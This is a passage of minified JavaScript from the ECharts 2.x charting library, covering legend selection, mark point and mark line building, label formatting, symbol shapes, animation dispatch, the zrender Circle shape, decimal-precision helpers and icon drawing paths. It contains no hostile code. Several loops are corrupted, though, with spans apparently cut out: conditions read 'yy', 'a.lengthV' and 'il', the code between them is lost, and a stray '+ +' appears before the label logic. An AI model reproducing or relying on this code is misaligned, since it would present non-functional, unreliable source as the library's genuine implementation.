i=e.target,n=m.get(i,"seriesIndex"),a=m.get(i,"dataIndex"),o=this.series;if(null!=o[n].data[a].value){o[n].data[a].value="-";var r=o[n].data[a].name,s=this.component.legend;s&&0===s.getRelatedAmount(r)&&s.del(r)}else o[n].data[a]="-";t.dragOut=!0,t.needRefresh=!0,this.isDragend=!1}},onlegendSelected:function(e,t){var i=e.selected;for(var n in this.selectedMap)this.selectedMap[n]!=i[n]&&(t.needRefresh=!0),this.selectedMap[n]=i[n]},_buildPosition:function(){this._symbol=this.option.symbolList,this._sIndex2ShapeMap={},this._sIndex2ColorMap={},this.selectedMap={},this.xMarkMap={};for(var e,t,i,n,a=this.series,o={top:[],bottom:[],left:[],right:[],other:[]},r=0,s=a.length;s>r;r++)a[r].type===this.type&&(a[r]=this.reformOption(a[r]),this.legendHoverLink=a[r].legendHoverLink||this.legendHoverLink,e=a[r].xAxisIndex,t=a[r].yAxisIndex,i=this.component.xAxis.getAxis(e),n=this.component.yAxis.getAxis(t),i.type===h.COMPONENT_TYPE_AXIS_CATEGORY?o[i.getPosition()].push(r):n.type===h.COMPONENT_TYPE_AXIS_CATEGORY?o[n.getPosition()].push(r):o.other.push(r));for(var l in o)o[l].length>0&&this._buildSinglePosition(l,o[l]);this.addShapeList()},_buildSinglePosition:function(e,t){var i=this._mapData(t),n=i.locationMap,a=i.maxDataLength;if(0!==a&&0!==n.length){switch(e){case"bottom":case"top":this._buildHorizontal(t,a,n,this.xMarkMap);break;case"left":case"right":this._buildVertical(t,a,n,this.xMarkMap);break;case"other":this._buildOther(t,a,n,this.xMarkMap)}for(var o=0,r=t.length;r>o;o++)this.buildMark(t[o])}},_mapData:function(e){for(var t,i,n,a,o=this.series,r=0,s={},l="__kener__stack__",m=this.component.legend,V=[],U=0,d=0,p=e.length;p>d;d++){if(t=o[e[d]],n=t.name,this._sIndex2ShapeMap[e[d]]=this._sIndex2ShapeMap[e[d]]||this.query(t,"symbol")||this._symbol[d%this._symbol.length],m){if(this.selectedMap[n]=m.isSelected(n),this._sIndex2ColorMap[e[d]]=m.getColor(n),a=m.getItemShape(n)){var c=a.style;if(this.type==h.CHART_TYPE_LINE)c.iconType="legendLineIcon",c.symbol=this._sIndex2ShapeMap[e[d]];else if(t.itemStyle.normal.barBorderWidth>0){var u=a.highlightStyle;c.brushType="both",c.x+=1,c.y+=1,c.width-=2,c.height-=2,c.strokeColor=u.strokeColor=t.itemStyle.normal.barBorderColor,u.lineWidth=3}m.setItemShape(n,a)}}else this.selectedMap[n]=!0,this._sIndex2ColorMap[e[d]]=this.zr.getColor(e[d]);this.selectedMap[n]&&(i=t.stack||l+e[d],null==s[i]?(s[i]=r,V[r]=[e[d]],r++):V[s[i]].push(e[d])),U=Math.max(U,t.data.length)}return{locationMap:V,maxDataLength:U}},_calculMarkMapXY:function(e,t,i){for(var n=this.series,a=0,o=t.length;o>a;a++)for(var r=0,s=t[a].length;s>r;r++){var l=t[a][r],h="xy"==i?0:"",m=this.component.grid,V=e[l];if("-1"!=i.indexOf("x")){V["counter"+h]>0&&(V["average"+h]=V["sum"+h]/V["counter"+h]);var U=this.component.xAxis.getAxis(n[l].xAxisIndex||0).getCoord(V["average"+h]);V["averageLine"+h]=[[U,m.getYend()],[U,m.getY()]],V["minLine"+h]=[[V["minX"+h],m.getYend()],[V["minX"+h],m.getY()]],V["maxLine"+h]=[[V["maxX"+h],m.getYend()],[V["maxX"+h],m.getY()]],V.isHorizontal=!1}if(h="xy"==i?1:"","-1"!=i.indexOf("y")){V["counter"+h]>0&&(V["average"+h]=V["sum"+h]/V["counter"+h]);var d=this.component.yAxis.getAxis(n[l].yAxisIndex||0).getCoord(V["average"+h]);V["averageLine"+h]=[[m.getX(),d],[m.getXend(),d]],V["minLine"+h]=[[m.getX(),V["minY"+h]],[m.getXend(),V["minY"+h]]],V["maxLine"+h]=[[m.getX(),V["maxY"+h]],[m.getXend(),V["maxY"+h]]],V.isHorizontal=!0}}},addLabel:function(e,t,i,n,a){var o=[i,t],r=this.deepMerge(o,"itemStyle.normal.label"),s=this.deepMerge(o,"itemStyle.emphasis.label"),l=r.textStyle||{},h=s.textStyle||{}; + +if(r.show){var m=e.style;m.text=this._getLabelText(t,i,n,"normal"),m.textPosition=null==r.position?"horizontal"===a?"right":"top":r.position,m.textColor=l.color,m.textFont=this.getFont(l),m.textAlign=l.align,m.textBaseline=l.baseline}if(s.show){var V=e.highlightStyle;V.text=this._getLabelText(t,i,n,"emphasis"),V.textPosition=r.show?e.style.textPosition:null==s.position?"horizontal"===a?"right":"top":s.position,V.textColor=h.color,V.textFont=this.getFont(h),V.textAlign=h.align,V.textBaseline=h.baseline}return e},_getLabelText:function(e,t,i,n){var a=this.deepQuery([t,e],"itemStyle."+n+".label.formatter");a||"emphasis"!==n||(a=this.deepQuery([t,e],"itemStyle.normal.label.formatter"));var o=this.getDataFromOption(t,"-");return a?"function"==typeof a?a.call(this.myChart,{seriesName:e.name,series:e,name:i,value:o,data:t,status:n}):"string"==typeof a?a=a.replace("{a}","{a0}").replace("{b}","{b0}").replace("{c}","{c0}").replace("{a0}",e.name).replace("{b0}",i).replace("{c0}",this.numAddCommas(o)):void 0:o instanceof Array?null!=o[2]?this.numAddCommas(o[2]):o[0]+" , "+o[1]:this.numAddCommas(o)},buildMark:function(e){var t=this.series[e];this.selectedMap[t.name]&&(t.markLine&&this._buildMarkLine(e),t.markPoint&&this._buildMarkPoint(e))},_buildMarkPoint:function(e){for(var t,i,n=(this.markAttachStyle||{})[e],a=this.series[e],o=u.clone(a.markPoint),r=0,s=o.data.length;s>r;r++)t=o.data[r],i=this.getMarkCoord(e,t),t.x=null!=t.x?t.x:i[0],t.y=null!=t.y?t.y:i[1],!t.type||"max"!==t.type&&"min"!==t.type||(t.value=i[3],t.name=t.name||t.type,t.symbolSize=t.symbolSize||y.getTextWidth(i[3],this.getFont())/2+5);for(var l=this._markPoint(e,o),r=0,s=l.length;s>r;r++){var m=l[r];m.zlevel=a.zlevel,m.z=a.z+1;for(var V in n)m[V]=u.clone(n[V]);this.shapeList.push(m)}if(this.type===h.CHART_TYPE_FORCE||this.type===h.CHART_TYPE_CHORD)for(var r=0,s=l.length;s>r;r++)this.zr.addShape(l[r])},_buildMarkLine:function(e){for(var t,i=(this.markAttachStyle||{})[e],n=this.series[e],a=u.clone(n.markLine),o=0,r=a.data.length;r>o;o++){var s=a.data[o];!s.type||"max"!==s.type&&"min"!==s.type&&"average"!==s.type?t=[this.getMarkCoord(e,s[0]),this.getMarkCoord(e,s[1])]:(t=this.getMarkCoord(e,s),a.data[o]=[u.clone(s),{}],a.data[o][0].name=s.name||s.type,a.data[o][0].value="average"!==s.type?t[3]:+t[3].toFixed(null!=a.precision?a.precision:this.deepQuery([this.ecTheme,h],"markLine.precision")),t=t[2],s=[{},{}]),null!=t&&null!=t[0]&&null!=t[1]&&(a.data[o][0].x=null!=s[0].x?s[0].x:t[0][0],a.data[o][0].y=null!=s[0].y?s[0].y:t[0][1],a.data[o][1].x=null!=s[1].x?s[1].x:t[1][0],a.data[o][1].y=null!=s[1].y?s[1].y:t[1][1])}var m=this._markLine(e,a),V=a.large;if(V){var U=new l({style:{shapeList:m}}),d=m[0];if(d){u.merge(U.style,d.style),u.merge(U.highlightStyle={},d.highlightStyle),U.style.brushType="stroke",U.zlevel=n.zlevel,U.z=n.z+1,U.hoverable=!1;for(var p in i)U[p]=u.clone(i[p])}this.shapeList.push(U),this.zr.addShape(U),U._mark="largeLine";var c=a.effect;c.show&&(U.effect=c)}else{for(var o=0,r=m.length;r>o;o++){var y=m[o];y.zlevel=n.zlevel,y.z=n.z+1;for(var p in i)y[p]=u.clone(i[p]);this.shapeList.push(y)}if(this.type===h.CHART_TYPE_FORCE||this.type===h.CHART_TYPE_CHORD)for(var o=0,r=m.length;r>o;o++)this.zr.addShape(m[o])}},_markPoint:function(e,t){var i=this.series[e],n=this.component;u.merge(u.merge(t,u.clone(this.ecTheme.markPoint||{})),u.clone(h.markPoint)),t.name=i.name;var a,o,r,s,l,V,U,d=[],p=t.data,c=n.dataRange,y=n.legend,g=this.zr.getWidth(),b=this.zr.getHeight();if(t.large)a=this.getLargeMarkPointShape(e,t),a._mark="largePoint",a&&d.push(a);else for(var f=0,k=p.length;k>f;f++)null!=p[f].x&&null!=p[f].y&&(r=null!=p[f].value?p[f].value:"",y&&(o=y.getColor(i.name)),c&&(o=isNaN(r)?o:c.getColor(r),s=[p[f],t],l=this.deepQuery(s,"itemStyle.normal.color")||o,V=this.deepQuery(s,"itemStyle.emphasis.color")||l,null==l&&null==V)||(o=null==o?this.zr.getColor(e):o,p[f].tooltip=p[f].tooltip||t.tooltip||{trigger:"item"},p[f].name=null!=p[f].name?p[f].name:"",p[f].value=r,a=this.getSymbolShape(t,e,p[f],f,p[f].name,this.parsePercent(p[f].x,g),this.parsePercent(p[f].y,b),"pin",o,"rgba(0,0,0,0)","horizontal"),a._mark="point",U=this.deepMerge([p[f],t],"effect"),U.show&&(a.effect=U),i.type===h.CHART_TYPE_MAP&&(a._geo=this.getMarkGeo(p[f])),m.pack(a,i,e,p[f],f,p[f].name,r),d.push(a)));return d},_markLine:function(){function e(e,t){e[t]=e[t]instanceof Array?e[t].length>1?e[t]:[e[t][0],e[t][0]]:[e[t],e[t]]}return function(i,n){var a=this.series[i],o=this.component,r=o.dataRange,s=o.legend;u.merge(u.merge(n,u.clone(this.ecTheme.markLine||{})),u.clone(h.markLine));var l=s?s.getColor(a.name):this.zr.getColor(i);e(n,"symbol"),e(n,"symbolSize"),e(n,"symbolRotate");for(var V=n.data,U=[],d=this.zr.getWidth(),p=this.zr.getHeight(),y=0;yy;y++){var K=U[y],I=K.rawEdge||K,g=I.rawData,x=null!=g.value?g.value:"",J=this.getMarkLineShape(n,i,g,y,K.points,W,I.color);J._mark="line";var C=this.deepMerge([g[0],g[1],n],"effect");C.show&&(J.effect=C,J.effect.large=n.large),a.type===h.CHART_TYPE_MAP&&(J._geo=[this.getMarkGeo(g[0]),this.getMarkGeo(g[1])]),m.pack(J,a,i,g[0],y,g[0].name+(""!==g[1].name?" > "+g[1].name:""),x),v.push(J)}return v}}(),getMarkCoord:function(){return[0,0]},getSymbolShape:function(e,t,i,o,r,s,l,h,V,U,d){var p=[i,e],c=this.getDataFromOption(i,"-");h=this.deepQuery(p,"symbol")||h;var u=this.deepQuery(p,"symbolSize");u="function"==typeof u?u(c):u,"number"==typeof u&&(u=[u,u]);var y=this.deepQuery(p,"symbolRotate"),g=this.deepMerge(p,"itemStyle.normal"),b=this.deepMerge(p,"itemStyle.emphasis"),f=null!=g.borderWidth?g.borderWidth:g.lineStyle&&g.lineStyle.width;null==f&&(f=h.match("empty")?2:0);var k=null!=b.borderWidth?b.borderWidth:b.lineStyle&&b.lineStyle.width;null==k&&(k=f+2);var x=this.getItemStyleColor(g.color,t,o,i),_=this.getItemStyleColor(b.color,t,o,i),L=u[0],W=u[1],X=new a({style:{iconType:h.replace("empty","").toLowerCase(),x:s-L,y:l-W,width:2*L,height:2*W,brushType:"both",color:h.match("empty")?U:x||V,strokeColor:g.borderColor||x||V,lineWidth:f},highlightStyle:{color:h.match("empty")?U:_||x||V,strokeColor:b.borderColor||g.borderColor||_||x||V,lineWidth:k},clickable:this.deepQuery(p,"clickable")});return h.match("image")&&(X.style.image=h.replace(new RegExp("^image:\\/\\/"),""),X=new n({style:X.style,highlightStyle:X.highlightStyle,clickable:this.deepQuery(p,"clickable")})),null!=y&&(X.rotation=[y*Math.PI/180,s,l]),h.match("star")&&(X.style.iconType="star",X.style.n=h.replace("empty","").replace("star","")-0||5),"none"===h&&(X.invisible=!0,X.hoverable=!1),X=this.addLabel(X,e,i,r,d),h.match("empty")&&(null==X.style.textColor&&(X.style.textColor=X.style.strokeColor),null==X.highlightStyle.textColor&&(X.highlightStyle.textColor=X.highlightStyle.strokeColor)),m.pack(X,e,t,i,o,r),X._x=s,X._y=l,X._dataIndex=o,X._seriesIndex=t,X},getMarkLineShape:function(e,t,i,n,a,r,l){var h=null!=i[0].value?i[0].value:"-",m=null!=i[1].value?i[1].value:"-",V=[i[0].symbol||e.symbol[0],i[1].symbol||e.symbol[1]],U=[i[0].symbolSize||e.symbolSize[0],i[1].symbolSize||e.symbolSize[1]];U[0]="function"==typeof U[0]?U[0](h):U[0],U[1]="function"==typeof U[1]?U[1](m):U[1];var d=[this.query(i[0],"symbolRotate")||e.symbolRotate[0],this.query(i[1],"symbolRotate")||e.symbolRotate[1]],p=[i[0],i[1],e],c=this.deepMerge(p,"itemStyle.normal");c.color=this.getItemStyleColor(c.color,t,n,i);var u=this.deepMerge(p,"itemStyle.emphasis");u.color=this.getItemStyleColor(u.color,t,n,i);var y=c.lineStyle,g=u.lineStyle,b=y.width;null==b&&(b=c.borderWidth);var f=g.width;null==f&&(f=null!=u.borderWidth?u.borderWidth:b+2);var k=this.deepQuery(p,"smoothness");this.deepQuery(p,"smooth")||(k=0);var x=r?s:o,_=new x({style:{symbol:V,symbolSize:U,symbolRotate:d,brushType:"both",lineType:y.type,shadowColor:y.shadowColor||y.color||c.borderColor||c.color||l,shadowBlur:y.shadowBlur,shadowOffsetX:y.shadowOffsetX,shadowOffsetY:y.shadowOffsetY,color:c.color||l,strokeColor:y.color||c.borderColor||c.color||l,lineWidth:b,symbolBorderColor:c.borderColor||c.color||l,symbolBorder:c.borderWidth},highlightStyle:{shadowColor:g.shadowColor,shadowBlur:g.shadowBlur,shadowOffsetX:g.shadowOffsetX,shadowOffsetY:g.shadowOffsetY,color:u.color||c.color||l,strokeColor:g.color||y.color||u.borderColor||c.borderColor||u.color||c.color||l,lineWidth:f,symbolBorderColor:u.borderColor||c.borderColor||u.color||c.color||l,symbolBorder:null==u.borderWidth?c.borderWidth+2:u.borderWidth},clickable:this.deepQuery(p,"clickable")}),L=_.style;return r?(L.pointList=a,L.smooth=k):(L.xStart=a[0][0],L.yStart=a[0][1],L.xEnd=a[1][0],L.yEnd=a[1][1],L.curveness=k,_.updatePoints(_.style)),_=this.addLabel(_,e,i[0],i[0].name+" : "+i[1].name)},getLargeMarkPointShape:function(e,t){var i,n,a,o,s,l,h=this.series[e],m=this.component,V=t.data,U=m.dataRange,d=m.legend,p=[V[0],t];if(d&&(n=d.getColor(h.name)),!U||(a=null!=V[0].value?V[0].value:"",n=isNaN(a)?n:U.getColor(a),o=this.deepQuery(p,"itemStyle.normal.color")||n,s=this.deepQuery(p,"itemStyle.emphasis.color")||o,null!=o||null!=s)){n=this.deepMerge(p,"itemStyle.normal").color||n;var c=this.deepQuery(p,"symbol")||"circle";c=c.replace("empty","").replace(/\d/g,""),l=this.deepMerge([V[0],t],"effect");var u=window.devicePixelRatio||1;return i=new r({style:{pointList:V,color:n,strokeColor:n,shadowColor:l.shadowColor||n,shadowBlur:(null!=l.shadowBlur?l.shadowBlur:8)*u,size:this.deepQuery(p,"symbolSize"),iconType:c,brushType:"fill",lineWidth:1},draggable:!1,hoverable:!1}),l.show&&(i.effect=l),i}},backupShapeList:function(){this.shapeList&&this.shapeList.length>0?(this.lastShapeList=this.shapeList,this.shapeList=[]):this.lastShapeList=[]},addShapeList:function(){var e,t,i=this.option.animationThreshold/(this.canvasSupported?2:4),n=this.lastShapeList,a=this.shapeList,o=n.length>0,r=o?this.query(this.option,"animationDurationUpdate"):this.query(this.option,"animationDuration"),s=this.query(this.option,"animationEasing"),l={},m={};if(this.option.animation&&!this.option.renderAsImage&&a.lengthV;V++)t=this._getAnimationKey(n[V]),t.match("undefined")?this.zr.delShape(n[V].id):(t+=n[V].type,l[t]?this.zr.delShape(n[V].id):l[t]=n[V]);for(var V=0,U=a.length;U>V;V++)t=this._getAnimationKey(a[V]),t.match("undefined")?this.zr.addShape(a[V]):(t+=a[V].type,m[t]=a[V]);for(t in l)m[t]||this.zr.delShape(l[t].id);for(t in m)l[t]?(this.zr.delShape(l[t].id),this._animateMod(l[t],m[t],r,s,0,o)):(e=this.type!=h.CHART_TYPE_LINE&&this.type!=h.CHART_TYPE_RADAR||0===t.indexOf("icon")?0:r/2,this._animateMod(!1,m[t],r,s,e,o));this.zr.refresh(),this.animationEffect()}else{this.motionlessOnce=!1,this.zr.delShape(n);for(var V=0,U=a.length;U>V;V++)this.zr.addShape(a[V])}},_getAnimationKey:function(e){return this.type!=h.CHART_TYPE_MAP&&this.type!=h.CHART_TYPE_TREEMAP&&this.type!=h.CHART_TYPE_VENN&&this.type!=h.CHART_TYPE_TREE?m.get(e,"seriesIndex")+"_"+m.get(e,"dataIndex")+(e._mark?e._mark:"")+(this.type===h.CHART_TYPE_RADAR?m.get(e,"special"):""):m.get(e,"seriesIndex")+"_"+m.get(e,"dataIndex")+(e._mark?e._mark:"undefined")},_animateMod:function(e,t,i,n,a,o){switch(t.type){case"polyline":case"half-smooth-polygon":V.pointList(this.zr,e,t,i,n);break;case"rectangle":V.rectangle(this.zr,e,t,i,n);break;case"image":case"icon":V.icon(this.zr,e,t,i,n,a);break;case"candle":o?this.zr.addShape(t):V.candle(this.zr,e,t,i,n);break;case"ring":case"sector":case"circle":o?"sector"===t.type?V.sector(this.zr,e,t,i,n):this.zr.addShape(t):V.ring(this.zr,e,t,i+(m.get(t,"dataIndex")||0)%20*100,n);break;case"text":V.text(this.zr,e,t,i,n);break;case"polygon":o?V.pointList(this.zr,e,t,i,n):V.polygon(this.zr,e,t,i,n);break;case"ribbon":V.ribbon(this.zr,e,t,i,n);break;case"gauge-pointer":V.gaugePointer(this.zr,e,t,i,n);break;case"mark-line":V.markline(this.zr,e,t,i,n);break;case"bezier-curve":case"line":V.line(this.zr,e,t,i,n);break;default:this.zr.addShape(t)}},animationMark:function(e,t,i){for(var i=i||this.shapeList,n=0,a=i.length;a>n;n++)i[n]._mark&&this._animateMod(!1,i[n],e,t,0,!0);this.animationEffect(i)},animationEffect:function(e){if(!e&&this.clearEffectShape(),e=e||this.shapeList,null!=e){var t=h.EFFECT_ZLEVEL;this.canvasSupported&&this.zr.modLayer(t,{motionBlur:!0,lastFrameAlpha:this.option.effectBlendAlpha||h.effectBlendAlpha});for(var i,n=0,a=e.length;a>n;n++)i=e[n],i._mark&&i.effect&&i.effect.show&&U[i._mark]&&(U[i._mark](this.zr,this.effectList,i,t),this.effectList[this.effectList.length-1]._mark=i._mark)}},clearEffectShape:function(e){var t=this.effectList;if(this.zr&&t&&t.length>0){e&&this.zr.modLayer(h.EFFECT_ZLEVEL,{motionBlur:!1}),this.zr.delShape(t);for(var i=0;il;l++)this.zr.addShape(this.shapeList[l]);this.zr.refreshNextFrame()}n[i].data=r}},delMark:function(e,t,i){i=i.replace("mark","").replace("large","").toLowerCase();var n=this.series[e];if(this.selectedMap[n.name]){for(var a=!1,o=[this.shapeList,this.effectList],r=2;r--;)for(var s=0,l=o[r].length;l>s;s++)if(o[r][s]._mark==i&&m.get(o[r][s],"seriesIndex")==e&&m.get(o[r][s],"name")==t){this.zr.delShape(o[r][s].id),o[r].splice(s,1),a=!0;break}a&&this.zr.refreshNextFrame()}}},u.inherits(i,p),i}),i("zrender/shape/Circle",["require","./Base","../tool/util"],function(e){"use strict";var t=e("./Base"),i=function(e){t.call(this,e)};return i.prototype={type:"circle",buildPath:function(e,t){e.moveTo(t.x+t.r,t.y),e.arc(t.x,t.y,t.r,0,2*Math.PI,!0)},getRect:function(e){if(e.__rect)return e.__rect;var t;return t="stroke"==e.brushType||"fill"==e.brushType?e.lineWidth||1:0,e.__rect={x:Math.round(e.x-e.r-t/2),y:Math.round(e.y-e.r-t/2),width:2*e.r+t,height:2*e.r+t},e.__rect}},e("../tool/util").inherits(i,t),i}),i("echarts/util/accMath",[],function(){function e(e,t){var i=e.toString(),n=t.toString(),a=0;try{a=n.split(".")[1].length}catch(o){}try{a-=i.split(".")[1].length}catch(o){}return(i.replace(".","")-0)/(n.replace(".","")-0)*Math.pow(10,a)}function t(e,t){var i=e.toString(),n=t.toString(),a=0;try{a+=i.split(".")[1].length}catch(o){}try{a+=n.split(".")[1].length}catch(o){}return(i.replace(".","")-0)*(n.replace(".","")-0)/Math.pow(10,a)}function i(e,t){var i=0,n=0;try{i=e.toString().split(".")[1].length}catch(a){}try{n=t.toString().split(".")[1].length}catch(a){}var o=Math.pow(10,Math.max(i,n));return(Math.round(e*o)+Math.round(t*o))/o}function n(e,t){return i(e,-t)}return{accDiv:e,accMul:t,accAdd:i,accSub:n}}),i("echarts/util/shape/Icon",["require","zrender/tool/util","zrender/shape/Star","zrender/shape/Heart","zrender/shape/Droplet","zrender/shape/Image","zrender/shape/Base"],function(e){function t(e,t){var i=t.x,n=t.y,a=t.width/16,o=t.height/16;e.moveTo(i,n+t.height),e.lineTo(i+5*a,n+14*o),e.lineTo(i+t.width,n+3*o),e.lineTo(i+13*a,n),e.lineTo(i+2*a,n+11*o),e.lineTo(i,n+t.height),e.moveTo(i+6*a,n+10*o),e.lineTo(i+14*a,n+2*o),e.moveTo(i+10*a,n+13*o),e.lineTo(i+t.width,n+13*o),e.moveTo(i+13*a,n+10*o),e.lineTo(i+13*a,n+t.height)}function i(e,t){var i=t.x,n=t.y,a=t.width/16,o=t.height/16;e.moveTo(i,n+t.height),e.lineTo(i+5*a,n+14*o),e.lineTo(i+t.width,n+3*o),e.lineTo(i+13*a,n),e.lineTo(i+2*a,n+11*o),e.lineTo(i,n+t.height),e.moveTo(i+6*a,n+10*o),e.lineTo(i+14*a,n+2*o),e.moveTo(i+10*a,n+13*o),e.lineTo(i+t.width,n+13*o)}function n(e,t){var i=t.x,n=t.y,a=t.width/16,o=t.height/16;e.moveTo(i+4*a,n+15*o),e.lineTo(i+9*a,n+13*o),e.lineTo(i+14*a,n+8*o),e.lineTo(i+11*a,n+5*o),e.lineTo(i+6*a,n+10*o),e.lineTo(i+4*a,n+15*o),e.moveTo(i+5*a,n),e.lineTo(i+11*a,n),e.moveTo(i+5*a,n+o),e.lineTo(i+11*a,n+o),e.moveTo(i,n+2*o),e.lineTo(i+t.width,n+2*o),e.moveTo(i,n+5*o),e.lineTo(i+3*a,n+t.height),e.lineTo(i+13*a,n+t.height),e.lineTo(i+t.width,n+5*o)}function a(e,t){var i=t.x,n=t.y,a=t.width/16,o=t.height/16;e.moveTo(i,n+3*o),e.lineTo(i+6*a,n+3*o),e.moveTo(i+3*a,n),e.lineTo(i+3*a,n+6*o),e.moveTo(i+3*a,n+8*o),e.lineTo(i+3*a,n+t.height),e.lineTo(i+t.width,n+t.height),e.lineTo(i+t.width,n+3*o),e.lineTo(i+8*a,n+3*o)}function o(e,t){var i=t.x,n=t.y,a=t.width/16,o=t.height/16;e.moveTo(i+6*a,n),e.lineTo(i+2*a,n+3*o),e.lineTo(i+6*a,n+6*o),e.moveTo(i+2*a,n+3*o),e.lineTo(i+14*a,n+3*o),e.lineTo(i+14*a,n+11*o),e.moveTo(i+2*a,n+5*o),e.lineTo(i+2*a,n+13*o),e.lineTo(i+14*a,n+13*o),e.moveTo(i+10*a,n+10*o),e.lineTo(i+14*a,n+13*o),e.lineTo(i+10*a,n+t.height)}function r(e,t){var i=t.x,n=t.y,a=t.width/16,o=t.height/16,r=t.width/2;e.lineWidth=1.5,e.arc(i+r,n+r,r-a,0,2*Math.PI/3),e.moveTo(i+3*a,n+t.height),e.lineTo(i+0*a,n+12*o),e.lineTo(i+5*a,n+11*o),e.moveTo(i,n+8*o),e.arc(i+r,n+r,r-a,Math.PI,5*Math.PI/3),e.moveTo(i+13*a,n),e.lineTo(i+t.width,n+4*o),e.lineTo(i+11*a,n+5*o)}function s(e,t){var i=t.x,n=t.y,a=t.width/16,o=t.height/16;e.moveTo(i,n),e.lineTo(i,n+t.height),e.lineTo(i+t.width,n+t.height),e.moveTo(i+2*a,n+14*o),e.lineTo(i+7*a,n+6*o),e.lineTo(i+11*a,n+11*o),e.lineTo(i+15*a,n+2*o)}function l(e,t){var i=t.x,n=t.y,a=t.width/16,o=t.height/16;e.moveTo(i,n),e.lineTo(i,n+t.height),e.lineTo(i+t.width,n+t.height),e.moveTo(i+3*a,n+14*o),e.lineTo(i+3*a,n+6*o),e.lineTo(i+4*a,n+6*o),e.lineTo(i+4*a,n+14*o),e.moveTo(i+7*a,n+14*o),e.lineTo(i+7*a,n+2*o),e.lineTo(i+8*a,n+2*o),e.lineTo(i+8*a,n+14*o),e.moveTo(i+11*a,n+14*o),e.lineTo(i+11*a,n+9*o),e.lineTo(i+12*a,n+9*o),e.lineTo(i+12*a,n+14*o)}function h(e,t){var i=t.x,n=t.y,a=t.width-2,o=t.height-2,r=Math.min(a,o)/2;n+=2,e.moveTo(i+r+3,n+r-3),e.arc(i+r+3,n+r-3,r-1,0,-Math.PI/2,!0),e.lineTo(i+r+3,n+r-3),e.moveTo(i+r,n),e.lineTo(i+r,n+r),e.arc(i+r,n+r,r,-Math.PI/2,2*Math.PI,!0),e.lineTo(i+r,n+r),e.lineWidth=1.5}function m(e,t){var i=t.x,n=t.y,a=t.width/16,o=t.height/16;n-=o,e.moveTo(i+1*a,n+2*o),e.lineTo(i+15*a,n+2*o),e.lineTo(i+14*a,n+3*o),e.lineTo(i+2*a,n+3*o),e.moveTo(i+3*a,n+6*o),e.lineTo(i+13*a,n+6*o),e.lineTo(i+12*a,n+7*o),e.lineTo(i+4*a,n+7*o),e.moveTo(i+5*a,n+10*o),e.lineTo(i+11*a,n+10*o),e.lineTo(i+10*a,n+11*o),e.lineTo(i+6*a,n+11*o),e.moveTo(i+7*a,n+14*o),e.lineTo(i+9*a,n+14*o),e.lineTo(i+8*a,n+15*o),e.lineTo(i+7*a,n+15*o)}function V(e,t){var i=t.x,n=t.y,a=t.width,o=t.height,r=a/16,s=o/16,l=2*Math.min(r,s);e.moveTo(i+r+l,n+s+l),e.arc(i+r,n+s,l,Math.PI/4,3*Math.PI),e.lineTo(i+7*r-l,n+6*s-l),e.arc(i+7*r,n+6*s,l,Math.PI/4*5,4*Math.PI),e.arc(i+7*r,n+6*s,l/2,Math.PI/4*5,4*Math.PI),e.moveTo(i+7*r-l/2,n+6*s+l),e.lineTo(i+r+l,n+14*s-l),e.arc(i+r,n+14*s,l,-Math.PI/4,2*Math.PI),e.moveTo(i+7*r+l/2,n+6*s),e.lineTo(i+14*r-l,n+10*s-l/2),e.moveTo(i+16*r,n+10*s),e.arc(i+14*r,n+10*s,l,0,3*Math.PI),e.lineWidth=1.5}function U(e,t){var i=t.x,n=t.y,a=t.width,o=t.height,r=Math.min(a,o)/2;e.moveTo(i+a,n+o/2),e.arc(i+r,n+r,r,0,2*Math.PI),e.arc(i+r,n,r,Math.PI/4,Math.PI/5*4),e.arc(i,n+r,r,-Math.PI/3,Math.PI/3),e.arc(i+a,n+o,r,Math.PI,Math.PI/2*3),e.lineWidth=1.5}function d(e,t){for(var i=t.x,n=t.y,a=t.width,o=t.height,r=Math.round(o/3),s=Math.round((r-2)/2),l=3;l--;)e.rect(i,n+r*l+s,a,2)}function p(e,t){for(var i=t.x,n=t.y,a=t.width,o=t.height,r=Math.round(a/3),s=Math.round((r-2)/2),l=3;l--;)e.rect(i+r*l+s,n,2,o)}function c(e,t){var i=t.x,n=t.y,a=t.width/16;e.moveTo(i+a,n),e.lineTo(i+a,n+t.height),e.lineTo(i+15*a,n+t.height),e.lineTo(i+15*a,n),e.lineTo(i+a,n),e.moveTo(i+3*a,n+3*a),e.lineTo(i+13*a,n+3*a),e.moveTo(i+3*a,n+6*a),e.lineTo(i+13*a,n+6*a),e.moveTo(i+3*a,n+9*a),e.lineTo(i+13*a,n+9*a),e.moveTo(i+3*a,n+12*a),e.lineTo(i+9*a,n+12*a)}function u(e,t){var i=t.x,n=t.y,a=t.width/16,o=t.height/16;e.moveTo(i,n),e.lineTo(i,n+t.height),e.lineTo(i+t.width,n+t.height),e.lineTo(i+t.width,n),e.lineTo(i,n),e.moveTo(i+4*a,n),e.lineTo(i+4*a,n+8*o),e.lineTo(i+12*a,n+8*o),e.lineTo(i+12*a,n),e.moveTo(i+6*a,n+11*o),e.lineTo(i+6*a,n+13*o),e.lineTo(i+10*a,n+13*o),e.lineTo(i+10*a,n+11*o),e.lineTo(i+6*a,n+11*o)}function y(e,t){var i=t.x,n=t.y,a=t.width,o=t.height;e.moveTo(i,n+o/2),e.lineTo(i+a,n+o/2),e.moveTo(i+a/2,n),e.lineTo(i+a/2,n+o)}function g(e,t){var i=t.width/2,n=t.height/2,a=Math.min(i,n);e.moveTo(t.x+i+a,t.y+n),e.arc(t.x+i,t.y+n,a,0,2*Math.PI),e.closePath()}function b(e,t){e.rect(t.x,t.y,t.width,t.height),e.closePath()}function f(e,t){var i=t.width/2,n=t.height/2,a=t.x+i,o=t.y+n,r=Math.min(i,n);e.moveTo(a,o-r),e.lineTo(a+r,o+r),e.lineTo(a-r,o+r),e.lineTo(a,o-r),e.closePath()}function k(e,t){var i=t.width/2,n=t.height/2,a=t.x+i,o=t.y+n,r=Math.min(i,n);e.moveTo(a,o-r),e.lineTo(a+r,o),e.lineTo(a,o+r),e.lineTo(a-r,o),e.lineTo(a,o-r),e.closePath()}function x(e,t){var i=t.x,n=t.y,a=t.width/16;e.moveTo(i+8*a,n),e.lineTo(i+a,n+t.height),e.lineTo(i+8*a,n+t.height/4*3),e.lineTo(i+15*a,n+t.height),e.lineTo(i+8*a,n),e.closePath()}function _(t,i){var n=e("zrender/shape/Star"),a=i.width/2,o=i.height/2;n.prototype.buildPath(t,{x:i.x+a,y:i.y+o,r:Math.min(a,o),n:i.n||5})}function L(t,i){var n=e("zrender/shape/Heart");n.prototype.buildPath(t,{x:i.x+i.width/2,y:i.y+.2*i.height,a:i.width/2,b:.8*i.height})}function W(t,i){var 